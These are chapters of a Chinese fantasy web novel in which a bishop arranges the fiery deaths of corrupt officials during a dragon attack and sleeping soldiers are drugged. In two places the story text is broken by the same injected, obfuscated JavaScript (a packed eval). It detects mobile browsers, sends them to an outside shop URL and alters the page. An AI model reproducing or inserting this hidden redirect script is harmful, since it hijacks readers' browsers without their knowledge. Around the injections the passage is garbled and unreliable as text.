神使团很快清扫好了战场,整合好队伍后,踏上了回城的路。 而在城内的阿纳托利正啃着从安置点拿的面包,听到了安置点外的声音。 “快,快去看。” “怎么了?” “魔法师们回来了,据说魔兽已经基本被消灭了,听说只有很少的低阶魔兽还散落在外面,只要今晚再去剿灭一次就好了。” “那岂不是灾难快结束了。” “是的,都快结束了。” 阿纳托利听到路人的闲聊,叼着吃剩下的一小块面包挤到人群中间,朝路边走去。 “路上这些骑马的人就是神使团吗?” “是的,你看到教廷的旗子了吗,真是气派。” “那个就是杀死了龙的主教吗?” 路人的目光看向在队伍前列的穿着蓝色袍子的主教。 “看不出来啊,年轻人竟然这么厉害……我一直以为很厉害的魔法师都是那种有着白胡子的老头。” 阿纳托利的目光透过人群,落在莱安娜身上,众人肯定的目光对于战士来说是重要的功勋,而剿灭魔兽的莱安娜正如英雄一般,被感谢的目光托起。 她骑在马上,满身血污,抬头看着前方通向领主核心区的道路。 平息了外患,现在还需要处理一些追责问题。 大概一个钟头之后,阿纳托利就收到了前往核心区的通知。 审判要开始了。 26. “正义”的审判 大概一个钟头之后,阿纳托利就收到了前往核心区的通知。 等他跟随神使进入领主大厅的时候,映入眼帘的是一堆人正在争执。 “格里芬领主完全构成渎职罪,我们应该立刻移交给中央法庭,审判他的罪行。” “格里芬领主虽然构成渎职罪,但是魔兽潮一事在教会的管辖范围内,此事应当先由教会定夺。” “莱安娜主教,这件事您应当上报教皇,启动神明裁决。” “莱安娜主教,您应当移交管辖权给中央法庭。” “莱安娜主教……” 坐在主位的莱安娜背靠在椅子上,右手撑着额头,皱着眉,显然已经被这群人折磨了好一会儿了。 她连那身沾有血污的外袍都还没有来得及换,她的唇没有一点血色,眼下的青黑在苍白的脸色上有些突兀。一看便知其疲惫程度。 看到被带进来的阿纳托利,刚刚还争执不休的人们平静了下来,齐刷刷地看向他,这个绑了领主,抢夺了装置的罪魁祸首。 他向各位权贵行了一个礼,然后等待自己的处理结果。 莱安娜在给他疗伤时说的那番话就足以表明她很清楚这场灾难的前因后果。 因此阿纳托利并不担心自己会遭受什么处理,莱安娜心里跟明镜一样,唯一需要担心的就是这个该死的领主能不能得到应有的惩罚。 主教按理是不可插手案件审判的,针对贵族的审判或许会因为保释金制度高高举起轻轻放下。 但魔兽潮相关事件属于教廷管辖,一旦宣布进入魔兽潮灾情状态,负责的神职人员将会直接在负责辖区内拥有最高权限,其中包括临时处罚权,这也是莱安娜唯一合法处理这个领主的途径。 “雇佣兵,摘下你的面具,你面前的可是主教大人。” 阿纳托利心里一沉,他倒是忘了这茬。 被莱安娜发现倒是问题不大,但要是被这里其他神使发现,回到圣都怕是说不清楚。 不过还好他之前使用了改变面容的魔法,想来没这么容易被识破。 他的手放在了面具上。 “不必了,他想戴就戴吧。” 莱安娜摆了摆手,她既然已经开口,其他人员自然知趣地闭嘴了。 一旁的官员正准备开口质询尼基塔,却被莱安娜抢先了一步: “尼基塔先生,很感谢您在布鲁城陷入混乱时挺身而出,接管了当时失控的防御装置,虽然确实是越权行为,但您是出于好意,且装置原本也处在失控状态。我个人认为综合已知的一些细节,并不能认定您构成抢夺结界装置控制权的罪名。” 她笑盈盈地看着阿纳托利,继续补充道, “然后另一位魔导师,据说是您的同伴,他伤了领主,但我认为这是出于获取屏障权限的不得已之举,不应当死板地认定为对贵族的故意伤害,不过鉴于他有直接伤害行为,应该留置观察一段时间,但对二位我都主张豁免,其他人还有不同意见吗?” 莱安娜三言两语之间倒是帮他和卡宁脱罪了,省去了他自己辩护的功夫。 城区其他管理人员虽然知道真实的一些细节和主教的判断有所出入,像尼基塔绑了领主并软禁、领主少了一只耳朵,和治安官的护卫队大打出手,把治安官一剑穿喉……主教连提都没提。 主教已经明确了想法,他们其他人自然也不会在这个节骨眼上和她对着干。 毕竟这事情,罪魁祸首虽然是格里芬领主,但真要严格追究渎职和不作为,他们在坐的每一个人恐怕都脱不了关系。 莱安娜主教目前只是认定了格里芬领主构成渎职罪,对其他人都以礼相待,还邀请他们来这个地方一起讨论,她的意思也很明显。 这件事她只需要格里芬一个罪人,但如果他们谁给她找不痛快,那就是给脸不要脸了。 “看来没有人反对,塞拉,记录。” “遵命。” 莱安娜对这群软骨头的反应非常满意,也省去了后续掰扯的功夫。 “现在唯一的问题就是格里芬领主了,尼基塔先生,请您作为证人详细地告诉我们他的罪行。” 阿纳托利很配合地讲述了事实,一旁的塞拉飞快地记录着格里芬罄竹难书的行为。 结束了讲解后,众人纷纷为自己开脱,开始附和阿纳托利,以求将自己和不作为渎职撇得越干净越好。 阿纳托利听着周围此起彼伏的咒骂声,谴责声,觉得很恶心。 就在几天前这些人还是格里芬忠心不二的下属,全然不顾镇民的死活,现在倒是良心发现开始痛骂起格里芬来。 莱安娜坐在这些声音中间,没有任何反应。 “她在圣都这些年不会天天都在和这类人打交道吧。” 阿纳托利暗想,然后抬头看着莱安娜。 终于,她似乎做好了决定,停止了周围没有意义的谴责和争论。 “这件事我们已经清楚了,格里芬领主渎职罪是板上钉钉的,至于他的处理……” 阿纳托利希望莱安娜能够行使主教的权柄,就地将格里芬处决,否则移交给中央法廷,格里芬或许只会受到削爵、除去职务、罚金的处理。监狱都蹲不了几年,这人就可以用各种保释金和减刑出来。 那样的惩罚对于在魔兽潮中牺牲的人来说就像是一个笑话。 “我认为格里芬领主罪无可恕,但毕竟我是临时受命的主教,直接处置了格里芬似乎有越权的嫌疑,我会把格里芬领主移交给中央法庭,后续事宜将会由你们辖区负责人维克多主教和中央法庭磋商。” 阿纳托利失望地低下了头,莱安娜此举无疑是为了不惹麻烦,她终究是做了和大部分人一样的选择。 “但是既然犯了罪就需要受到惩罚,我在布伦城区这几天,格里芬领主必须参加城防守夜的工作,就当为自己的行为赎罪;诸位过去的行为我也不想再详细追究。但是这几天还请诸位反思自己过去工作的不足,积极参加守夜工作,凡是参加的人我都会在给教皇还有皇帝陛下的报告中详细说明其功劳。” 城区其他管理人员互相看了看彼此,眼中闪烁着惊喜的目光。 莱安娜主教明确了不会追究他们,甚至还提供了一个面子工程来作为他们将功补过的机会。 现在魔兽都剿灭得差不多了,守夜工作毫无危险性,只要去做个样子就行。 他们不由得在心里庆幸这位主教没有他们想象中的麻烦,原本看着她剿灭魔兽潮雷厉风行的样子,大家一直提心吊胆,估摸着这不是个好糊弄的主,估计收拾完魔兽潮就要来收拾他们了,哪能想到竟然还给他们留着这么一条康庄大道。 见各位管理人员已经完全放松,喜形于色,莱安娜挥手示意塞拉神官拿出了一张单子。 “如果诸位对我的提议没有意见,就请在这张申请书上签字吧,所有愿意守夜的人员将会被单独编队负责最近几天的城防工作,你们的名字也会出现在交给皇帝陛下和教皇陛下的报告中,这是各位应得的荣誉。” 她话音刚落,那些管理人员便争先恐后地签上了自己的名字。阿纳托利看着眼前这其乐融融的景象,只觉得疲惫而无力。 “签好字的各位可以离开了,期待你们的工作成果。” 她笑着结束了这场本应严肃的审判,各位管理人员个个都带着满足的笑容离开了房间。 阿纳托利准备离开时,却被叫住了。 “尼基塔先生,请等一下。” “请问还有什么事吗?主教大人。” 阿纳托利回头,见对方正用手撑着下巴,温和地看着他。 “我已经帮您已经脱罪了,开心一点儿。” 阿纳托利向她深深鞠了一躬。 “我知道,衷心地感谢您明察秋毫,否则我将陷入极大的麻烦。” “口是心非,明明您看上去对我的决定并不满意。” “……” 阿纳托利低着头,过了半晌才发问。 “您明明可以处置那些人的,不是吗?为什么要放过他们。” “有些时候,我们都身不由己,但请您相信,我做了我能力范围内最好的决策。” 她盯着阿纳托利的眼睛,露出了志在必得的笑容。 “还有个任务交给你……” ……… 结束了和莱安娜的交谈,阿纳托利即刻出发前往防御城墙,莱安娜交给他的任务是负责和这些管理人员一起夜巡。 欧文已经在那里等着他了。 “尼基塔,我们这边收到通知,今晚将会由那群管理者组成新的城防编队负责之后的夜巡。这事情是真的还是假的?” “你不是已经接到通知了吗,是真的,我亲耳所闻。” “可笑······用这么轻飘飘的形式工作就想赎罪吗!” 欧文将手中的报告恶狠狠地甩在了地上。 “我这几天,看魔兽潮剿灭的行动,我以为莱安娜主教和其他的那些贵族不一样,我以为我们能等来一场公正的审判,但是结果呢!她非但不处罚那些家伙,甚至还给让他们准备了脱罪的路子!她简直是……” “住口,欧文!” 阿纳托利打断了他,欧文第一次从这位朋友的眼神中感受到如此严肃的警告。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046846|194758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “慎言,我们执行就好。” 他拍了拍欧文的肩膀,捡起通知塞给欧文,然后走上了防御墙的楼梯。 在走出一段距离时他听到一声沉闷的落地声,欧文把魔导器摔在了地上。 “凭什么啊!死了这么多人,不是他们这群人,莱特不会牺牲,加尔文不会牺牲!因为他们的不作为,城防军牺牲了整整三分之二!逃难的一百多个人不会死在门外!难道······他们就该死吗?” 他一边破口大骂一边靠着墙滑坐在了地上,阿纳托利回头看着他,再次走到了他的面前,蹲了下来。 欧文以为他又要劝自己冷静下来,放下没有意义的仇恨,执行任务。 他怎么可能执行莱安娜的命令,和那些猪狗不如的东西一起守夜。要剩下的生还者守卫这些杀人犯的安全,简直是对牺牲的城防军天大的讽刺,就是主教砍他的脑袋他也不去。 “你别劝我,我是不会去守卫那些人的,他妈的,砍头我也不去。” 他把脑袋别了过去,没想到阿纳托利却压低声音说。 “你想不想亲眼见他们下地狱。” 他灰色的眸子幽深平静,但又像火山灰一般压抑着愤怒。 阿纳托利起身朝欧文伸出手。 欧文愣了许久,仿佛下定了决心,握住了阿纳托利的手,阿纳托利把他从地上拽起来。 “现在开始工作吧,你不会失望的。” 而此时已经接近黄昏,在送走阿纳托利之后,莱安娜还在忙另外一件事,给之前在魔兽潮中表现突出的战士申请荣誉以及给死亡的难民们申请补助。 “名单就是这些了,让城区财政司和安全司在我出发前给这些人员公示荣誉,和津贴奖励,以及灾情补助。” “莱安娜主教,这上面一共有一百二十三个人,二十一个人二级功勋,一百零二个人三级功勋,还有上百个难民的补助。如此庞大的数量,和如此短的时间,财政司的管理人员会不……” “不用担心,塞拉,我们刚刚可是卖给他们一个大人情,他们现在不会和我们唱反调的,可惜一级功勋必须要到中央才能申请……” 她遗憾地看着上面的名单,叹了口气。 “好的,我会照办的。” 塞拉离开后,裴恩神官走了进来,他刚才接到了维斯特里亚教皇的通讯,教皇的关心似乎让他多了几分底气,不像之前警告后那般收敛,现在正满脸神气地看着莱安娜。 “教皇陛下很满意您的工作。” “看来裴恩神官您也很满意审判结果,这么快就全部报告给了教皇陛下。” “教皇陛下常说,我们所处的位置决定着我们的眼界,谋利需要为国谋利,而非着眼于狭隘的个人,每一位贵族、每一位管理者,大家如同零件一般紧密贴合维持着帝国和教廷的正常运行,而那些普通人则是这台机械的能源,一切决策的落脚点都是为了这台机械能够继续运转,为了一点能源而拆掉关键的零件并非明智之举,一切都需要处在平衡的范围内,这件事情既没有僭越,也没有改变布伦城区的格局,表面上也给了平民一个交代,您处理得很完美。” 面对他的“赞美”,莱安娜只是笑着。 “但是您还有个小缺点,您老是喜欢做多余的事情。” 他的目光落到了她桌上申请功勋的文件投影上。 “不过嘛,您是平民出身,对这些不重要的人多两分恻隐之心也合情合理。甚至您还可以借此笼络人心,想来教皇陛下应该不在意这些细节,但是有时候嘛······” 他故意把一些关键词念得很重,但并没有从莱安娜的脸上看到一丝窘迫或者恼怒。 莱安娜也清楚他是想暗示什么,并没有接他的话茬,见莱安娜没有反应,他终于忍不住开口。 “我直说吧莱安娜主教,您真的不打算接受我的建议,执行教皇陛下的计划吗?” “我自然是会按期执行教皇陛下的计划,不过是按照我的方式,既然结果都一样,您也说了,一些无关痛痒的细节教皇陛下不会介意。” “教皇陛下确实仁慈,不会如此死板,但希望您不要让不重要的细节喧宾夺主,能够分清主次。” “感谢您的提醒,我会的,最后一项剿灭工作只需要等待……” 她的话被塞拉推门的声音打断了。 “莱安娜主教,财务司已经通过了。” 一切似乎都非常顺利,但塞拉并没有从莱安娜的脸上看到笑意,她分明看到莱安娜在听见这个好消息的时候叹了口气。 “塞拉,去叫醒奥菲莉亚,我们要出发了。” 27. 城民的复仇 太阳落山了。 在这片大地再一次陷入一片火红的时刻,莱安娜带队出了城,进行最后的剿灭任务。 阿纳托利看着眼前逐渐变小的深蓝色的背影,把头别了过去,重新整理思绪。 “我的任务是什么?” “和那群见风使舵的管理人员一起负责今晚的守夜。” “我不想保护他们。” 阿纳托利说得毫无余地,他以为对方会劝他或者开出什么条件,毕竟刚才她就是这么对待那群家伙的。 没想到莱安娜只是淡然地发问。 “我什么时候说你要保护他们了?” 阿纳托利一时间没有理解她的思路,快速思量以后试探道。 “您需要我做什么?” 莱安娜微笑着看向他。 “和他们一样。” “什么都不要做。” 他回忆着他们的对话,莱安娜确实如她所说,做到了她能做的最好的决策。 他看着远方的火烧云,提醒着欧文以及其他守备军检查好结界是否妥当。 目前大部分魔物已经被清除,为了节能,结界大部分时候只会在晚上打开。 负责检修的那个管理人员听说装置已经被莱安娜检查过,看都没看就在启动许可上大笔一挥,签上了自己的名字。 一来他不会在这个时候反对捏着自己小命的人,二来他其实没什么本事,看不出什么名堂。 到了时间,那些“赎罪”的权贵们零零散散地走上了防御城墙,莱安娜主教要求他们要在外侧用留影石留影,他们猜测可能是要用在报告上或者其他宣传上。这年头无论职位高低,果然大家的工作都差不多,谁又比谁清高呢? “该死,这里好冷啊,怎么没有人提前说说,我该多带一件衣服的。” “傻子,我们谁来过这破地方,大家都不知道,你就别抱怨了,熬过一晚上就好。” “那臭女人就想出这个办法折磨我们,要不是害怕丢了工作,谁想和这种摆架子的小丫头片子打交道。” “小声点,傻子,留影石还在呢。” “怕什么,难道主教还有功夫一个一个看?最多就是让下属选两个不错的画面写报告罢了。” “话说,为什么莱安娜主教要每个人发一个留影石,大家共同用一个不就好了吗?留影石可不便宜。” “谁知道呢?” 他们你一句有一句地说着,没有注意到一些东西发生了变化。比如他们悬浮在身后的留影石颜色变深了。 而在墙体中间守着结界装置的欧文沉着脸看向暗去的天空。 “你确定那位主教会兑现承诺吗?” “我确定,她承诺会给布鲁城灾民一场真正的审判。” “那我们要做什么?” “让你小队其他人继续待在墙内,什么都不要做。” 阿纳托利仍然盯着逐渐下沉的夕阳,目不转睛。 “好吧,我相信你。” 欧文带着其他人走入了防御墙内部。 而随着莱安娜一同出城,但兵分两路的神使团如期来到了另一处坐标点,他们的任务其实是烟雾弹,一同出城只是为了营造还有任务的假象。 现在,他们只要杀死那只被封印的高阶魔兽就好,这无异于莱安娜和裴迪神官把饭已经做好了,他们只用拿起刀叉。 但到达目的地,神使团才惊恐地发现,做好的饭已经飞了——封印消失了。 他们赶紧快速联系裴迪神官。 “裴迪神官,出大事了。” “什么事情,快说。” “您封印的那只高阶魔龙······不见了。” 通讯器那边裴迪沉默了一会儿。 “该死的,被摆了一道。” 他很快就反应过来,恶狠狠地骂道。 “我们需要继续搜寻吗?但我们这里没有负责探查魔法的魔法师。” “别找了,呆子,立刻回城!快!” 虽然这位神使团的队长不太明白为何裴迪神官会做出这种判断,但他还是带着人马快速往回赶。 裴迪神官关闭了通讯,盯着骑着马走在前面的莱安娜,深吸了一口气。 回想起上一次击杀魔兽的诸多细节。 “难怪特级魔物的坐标要设置在这么远的地方,我当时还觉得莱安娜不够灵活,竟然真的信了她装出那副害怕波及城区的样子,现在看来,设置这么远是为了让神使团来不及回去。” 他越想越觉得屈辱,对方确实阳奉阴违,自己棋差一招上了别人的套。 裴迪神官重新审视着自己这位监视对象,目光变得愈发危险。 防御墙上的人此时已经在晚风中冻的瑟瑟发抖。 “原来这上面这么冷的。” “要是有点酒再配点烤肉就好了。” “没事这两天熬过就好,这个主教也只是临时受命,不敢直接辞了我们,那样会引起直辖主教、大领主的不满。她也不想得罪人。” “没错,她也就是做个样子略施惩戒罢了。” 他们闲聊着,打发着时间,没有注意到天边有些奇怪的云朵。 一直在关注天空动向的阿纳托利看到从云下冲出的黑影时,瞬间打开了防御装置,没有一点犹豫。 莱安娜在给其充能的时候调整了范围参数,但是改动很小,那个不负责的管理员自然没有发现,稀里糊涂地签了字,给了阿纳托利使用权限,而那个签字的管理员将会成为这个参数调整结果的负责人。 这人现在和其他被略施小惩的人员一同站在防御墙的外围“赎罪”。 防御结界从整个防线的中轴线升出,不多不少地将这些人排除在外,就像几天前他们对外围区的居民所做的一样。 悬浮在他们身后的留影石变得浑浊不堪,隔着屏障阿纳托利认出了这个东西,那是伪装成留影石的魔晶,取自魔物,未经特殊处理可能会引来同族。 随着阴影的逼近,晶体越发浑浊并在空中上下悬浮震动。 最后炸开。 听到他们身后传来这声响动,他们扭头去看,还没有明白过来发生了什么事情,但看到自己被关到结界以外了,他们意识到了大事不妙。 没等他们进一步思考,那团阴影已经来了。 它不再潜伏于云层中,尖哮着从云端冲下来,嘴里吐着火蛇,像是地狱的使者来给各位魔鬼一个久违的拥抱。 这些人惊恐地呼喊着,冲向通往防御墙内部的门,那扇门离他们只有两步,但中间的屏障将他们隔开,他们只能徒劳地敲打着结界,生路近在咫尺,却无法触碰的绝望终于也轮到他们品尝了。 魔龙的火一旦沾到身上只能用魔法来扑灭,没有魔法结界的保护,他们就如同干枯的芦苇一般,在屏障外燃烧着。 惨叫声此起彼伏,城墙下的欧文听到惨叫带着其他人上来查看情况,映入眼帘的是被魔龙火焰吞噬的这些人。 而他们隔着屏障,就像隔着一层玻璃欣赏精心安排的戏码。 “求求你,打开结界 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046847|194758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就开一个小洞,放我们进去吧······” 其中有个人趴在离结界控制仪器很近的地方,盯着欧文卑微地乞求。 他的脸已经烧得面目全非,欧文不知道这人是谁。 不过无所谓,他们都一样。 “那天,我记得德拉诺爷爷就是这样趴在核心区门口乞求你们的,他老了跑不动了,被一只中阶魔物追得走头无路,你们只用动动手指就可以救他!为什么?你们有这么多卫兵,还有私人魔导师,在内城区杀死一只中阶魔兽很难吗?” 欧文扑到了透明的屏障上,仿佛想要穿过这道防线,拉起这人的领子给他两拳头。 阿纳托利注意到这些守城军的眼睛已经红了。 “你们为什么不开门?” “你们为什么要放任魔兽潮发展?” “你们为什么要随意践踏我们的生命?” 每个人心中的问题或许各异,想起的记忆也不同,但他们的眼中是同样的仇恨、愤怒、不甘、还有疑问。 “你们凭什么觉得自己比我们高贵,凭什么可以摆布我们的生死?” 这句疑问由欧文喊出,他发出了近乎疯狂地嘶吼,他身后其他人发出了同样的怒号,承载着在魔兽潮中被肆意牺牲之人的愤怒。 “唔······”刚才那个乞求开门的人似乎还想说什么,他徒劳地扒拉着牢不可破的结界。 欧文直起身,看着这个并不无辜的人,看着眼前天火带来的审判。两行泪不受控制地落下,他想到了自己在外围结界碎裂时死去的朋友,想到了在内城区的屏障前无辜惨死的人们。 哪怕是知道对方罪有应得,在看到此情此景的欧文都觉得惨烈,这些人当时就这样躲在结界后看外面的惨状,宛如欣赏表演那般随意。 他们为什么可以那么理所应当地送自己同胞去死? 他们比魔物更魔物,比魔鬼更魔鬼。 看着这些在外面扭曲的罪人,欧文缓缓抬头说道。 “你们自以为可以放弃我们,你们眼中毫不重要的烂贱生命。” 他的泪痕还没有干,大火中逝去的面孔仍然历历在目。 “请你在死前记好,现在轮到我们放弃你们了。” 他盯着屏障,释然地吐了口气,火光映照着他的眼睛,仿佛能够燃尽一切腐朽。 阿纳托利站在魔导器旁边静静观察着,这场莱安娜精心筹备的审判。 透明的屏障隔绝了魔物,正仿佛两个世界,里面的这些人从不担心生存问题,外面的人争得头破血流也不过就是想活下去。当内外交换的时候,有什么区别呢? 平日里那些体面的,自诩为贵族的管理者们在火中挣扎着,有的在地上打滚,有的忍耐不了烈焰灼痛,甚至选择从高耸的城墙上一跃而下,还有的被魔龙的利爪撕碎,或者囫囵吞下。 火焰会烧尽一切,苦难面前人人平等。 两个世界的人没有任何区别,是自私者筑起高墙剥夺了另一边生的机会,然后再高高在上地说一句“从来如此”。 阿纳托利看着眼前飘乎的烈焰,再一次想起了莱安娜在下午和他说的话。 “您需要我做什么?” “和他们一样,你什么都不用做。” 她站起身,带着一抹意味深长的笑容,然后走向阿纳托利,目光坚定而决绝。 “用火焰烧尽不公,用愤怒回报傲慢。” 她微笑着。 “这就是我给布鲁城所有人民的答案,也是那些罪人应得的结局。” 28. 造梦者的礼物 莱安娜带队来到了城外,她带了二十位刚被授予二级荣誉的守城战士还有一个神使团的小队,他们被编成了一只独立小队跟随莱安娜来到东边的坐标点,进行最后一次剿灭任务;另外两只小队前往西方,对外宣称进行最后一轮排查。 新编队的守城将士都斗志昂扬,他们已经获得了二级荣誉,再往上甚至可以有机会获得爵位,而且刚刚城门口发布的津贴公告,不仅他们有奖金,作为他们的家人每个月都能从教会领取一笔津贴。 现在他们还要跟随莱安娜主教进行最后一次清剿工作,只要完成这项工作,就可以重新过上平静的生活,甚至还有了过去难以想象的荣誉和物质奖励。 他们对此充满信心,莱安娜的实力大家有目共睹,她一定能护大家周全;而且他们自己是从无人管理的魔兽潮中拼杀出的,他们相信现在没有什么能够阻挡他们的脚步。 他们一边走着,一边畅谈着对未来的想法,有的人想重新装修自己的小房子;有人的妻子即将生产,他准备用这笔津贴给自己的孩子买新衣服和玩具。 最神气的应当属约翰了,他一直计划着要把兔子餐厅扩建,招聘几个能干的服务生和厨师,自己从此过上衣食无忧的生活,而格蕾丝也可以有条件去洛特斯城区,那座智慧之城学习她一直感兴趣的文学。这次荣誉、奖金、津贴无疑让他的梦想加速实现。 “不是我吹嘘,用那笔奖金,兔子餐厅一定会大变样!加上我的荣誉传说,不知道能吸引多少顾客呢!总有一天它会成为布伦城区最好的餐厅,有了每月那笔津贴,格蕾丝就可以放心去上学了,等她当了作家没准会在书里提到我呢。” “提到你,是酒鬼约翰,还是罗嗦鬼约翰。” “去去去,那当然是勇士约翰!骑士约翰才行。” “约翰一边说着,一边给了说风凉话的布奇一脚。 骑着马的裴迪神官从莱安娜身边经过,冷笑了一声,低声道。 “不过是一群胸无大志的乌合之众,也配在这里妄称骑士。” 莱安娜没有理他,奥菲莉亚似乎想说什么,莱安娜拍了拍她的脑袋,示意她保持沉默。 “莱安娜主教!” 约翰忽然在人群中喊了她一声。 她回头看去。 “感谢您,您以后有空可一定要来我们店坐坐,我给您免单。 他笑得那么热烈而真挚,甚至让莱安娜觉得心脏仿佛被掐住了一般,一阵刺痛。 “这是各位应得的荣誉,我只是正常上报了而已。” “但是过去我们的努力从未被如此肯定过,您知道吗,我们现在觉得这日子很有盼头,我们的努力都是有意义的,能被人瞧见的,接下来我们也要继续加油干,今晚大家要大干一场,跟着莱安娜主教风风光光地回去。” 他说罢,许多人都争相附和,士气被点燃,仿佛没有任何魔兽能够阻挡他们的脚步。 莱安娜笑着转过头去,打马走到了更前方。 正在她思绪浮动的时候,怀里小家伙的声音将她拉回了现实。 “莱安娜,我们什么时候可以回家?” 被她护在身前的奥菲莉亚轻声询问。 “工作完就可以回去了,怎么,你想家了?” “不是。”奥菲莉亚嘟囔着。 “你来到这里之后就一直都很难过,现在也是。” 她一边说着一边贴紧了莱安娜,像一只小兽一般。 “不要再试图感知我的情绪了,奥菲莉亚。” 她松开握着缰绳的一只手抚上奥菲莉亚的脑袋。 “我原计划是不带你来的,如果在执行过程中你承受不了可以随时停下,我们还有备用方案。” “但是只要我帮忙,大家就不会这么痛苦对吧。” “对,客观上来说,没有比你更合适的人了。” “那我一定没有问题的,莱安娜,连维克多那个坏家伙都说过我是天才呢。” 莱安娜不再言语,只是用另一只手拍了拍她的脑袋。 他们很快遭遇了最后一波魔兽,那是四只中阶魔兽,有莱安娜的帮忙,还有各位勇士的同心协力,很快这些魔兽就被消灭了。 在打扫完战场后,莱安娜并没有立刻回城,而是让人生火,拿出了准备好的食物和酒水。 “感谢诸位勇士,布鲁城、布伦城区的魔兽已经全部清剿完毕,各位守护了自己的家乡。” 她举起了酒杯, “让我们一起举杯,敬勇敢生活未曾放弃的自己,敬美好的未来。” “敬自己!敬未来!” “敬自己!敬未来!” 守备军们和神使团们纷纷举起酒杯,在月光下高呼着。 他们将佳酿一饮而尽。 “现在大家好好休息吧,布鲁城在破晓后迎接诸位凯旋。” 随后整个庆功宴热闹起来,他们有的人围着篝火跳起了舞蹈,有的和约翰坐在树下喝着酒吹牛,他们期待着黎明的曙光,那时候他们回到布鲁城一定是名副其实的英雄。 就在宴会中途,有人注意到莱安娜一直护在身后的小女孩走到了篝火前。 “小妹妹,你会跳舞吗?离远一点,来篝火旁小心烫伤哦。” 她仿佛鼓起了极大的勇气,用自己最大的音量喊: “我有首歌想送给各位。” 人群中爆发出了发自内心的欢笑。 “莱安娜主教,我们还在猜您带个小女孩上战场做什么,原来是相信大伙一定没有问题,为胜利的宴席做好准备了。” 莱安娜没有言语。 她冲奥菲莉亚微微点头示意可以开始了。 但小女孩似乎临场了却有些紧张,一直没有开口,双手攥紧了裙摆,紧抿着嘴唇。 “别害怕小姑娘!加油!” “试一试!” “别紧张孩子,我女儿和你一样,每次老师叫她表演都紧张极了,但只要一开口就好了,勇敢一点。” 奥菲利亚心里很不是滋味,她突然觉得自己做不到,她唱不出来……无助地低下了脑袋。 然后看到了一朵野花。 一只粗糙厚重的手握着一朵很小的白色野花闯入她的视野,约翰蹲在她的身前,笑着看着她。 “加油。” 他只说了两个字,月光下那双乌亮的眼睛就像紫黑色的葡萄,他舒展笑容,眉眼弯弯。 奥菲莉亚接过那支花,愣愣地看着他。 “喂,约翰,你这家伙也太作弊了。” 其他守备军也纷纷起身,将周围的野花一扫而空,甚至连狗尾巴草也没有放过。 “我女儿说这东西能编成花,咋弄的这是······” 他们拿着花走到奥菲莉亚身前,他们当中有的很年轻,俊朗的面孔还朝气蓬勃,有的脸上已经爬满皱纹,温和而和蔼。 “勇敢点,孩子,唱得不好也没有关系,但是一定要尝试。” “臭小子,会不会说话!别听他的孩子,叔叔相信你一定唱得很好。” 她的眼里噙满了泪水,模糊了眼前一个个人影。她看向人群中的莱安娜。 莱安娜朝她重重地点了一下头,眼里似乎噙满了泪。 奥菲莉亚闭上了眼睛,魔力开始凝聚在她的身边,她开口了。 如同拨开遮月云朵的清风,像是格莱特山上化开的第一缕雪水。她的歌声比起一般孩子的清澈,还多了几分空灵和婉转,中间仿佛还凝有深切的悲伤。 林中精灵的低语,海岸塞壬的吟唱,所有人都听得入了迷。 “幻境天才,真是名不虚传,曾听维克多主教提过,果然还是得眼见为实啊。” 裴迪神官靠近莱安娜称赞道。 “莱安娜主教真是慧眼,竟然在庸碌的旅程中捡到一柄如此趁手的利器。” “奥菲莉亚不是工具。” 她恶狠狠地瞪了裴迪神官一眼。 “我无意和您争辩,但这孩子确实很有天赋,你瞧,已经开始了。” 他指向坐在林子下的约翰,他已经倒在了地上,像睡着了一般。其他人也相继睡去。 “他们是如此热心地鼓励着这个孩子,为她增添勇气,如果他们知道这是奔向死亡的挽歌,在天堂又会露出何种表情呢?” 裴迪神官笑着看向莱安娜,对方仍然保持着沉默,只是这次闭上了眼睛。 “感谢莱安娜主教让我欣赏到如此有戏剧性的一幕,虽然这并非是原计划,但好像也不赖。” 他自说自话地鼓起掌来,那声音真是刺耳,让莱安娜忍不住皱起眉。 裴迪神官倒是全然不在意无人附和他,环视了下昏睡的人群,开始发布指令。 “既然准备工作已经完成了,正式工作也抓紧开展吧,第一第二小队,把特制药物抬过来,开始注射。” …… 约翰再睁开眼睛的时候,已经回到了他熟悉的兔子餐厅,门口那个原本用木头雕刻的牌子已经更换成了精致的铜。店面也扩大了一倍,看上去比原来更热闹了。 他瘫在店门口橡树下面的长椅上,还是这把长椅他躺得惯,还是露比的老爹做生意从北方手艺人那里淘来的,骨架做得尤其结实,就是布破了好几次,最开始是格蕾丝的母亲补,后来是老太太补,老太太去世了后是格蕾丝补。 那些布是从不合身的衣服上拆下来的,但是格蕾丝手艺很好,她总能选择合适的形状和颜色,一会儿是什么正流行的碎花,一会儿又是什么复古的印花,约翰不懂小姑娘讲究的这些时兴玩意儿,他只知道自己这把椅子是独一无二的,每天中午出勤后吃过饭就躺在这里打个盹,下午再去上班。 格蕾丝问过他为什么不回自己家睡,也就两步路,嘲笑他在大街上睡觉丢死人了。 但是他家离这里虽然很近,出了什么事赶过来起码也要十分钟,十分钟可以决定太多事了。 